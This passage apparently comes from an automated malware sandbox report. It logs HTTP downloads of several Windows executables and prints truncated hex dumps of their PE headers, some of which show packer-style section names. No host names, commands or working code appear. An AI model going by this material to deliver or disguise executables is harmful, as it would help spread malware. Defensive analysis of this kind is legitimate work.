00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 fc aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:22:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:46 GMTContent-Type: application/octet-streamContent-Length: 2833408Last-Modified: Sat, 23 Nov 2024 10:18:04 GMTConnection: keep-aliveETag: "6741abdc-2b3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 69 69 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 63 62 77 77 78 66 70 00 e0 2a 00 00 a0 00 00 00 dc 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 74 72 6b 6d 73 65 71 00 20 00 00 00 80 2b 00 00 04 00 00 00 16 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:54 GMTContent-Type: application/octet-streamContent-Length: 2833408Last-Modified: Sat, 23 Nov 2024 10:18:06 GMTConnection: keep-aliveETag: "6741abde-2b3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 69 69 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 63 62 77 77 78 66 70 00 e0 2a 00 00 a0 00 00 00 dc 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 74 72 6b 6d 73 65 71 00 20 00 00 00 80 2b 00 00 04 00 00 00 16 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 1a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 23 Nov 2024 10:23:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 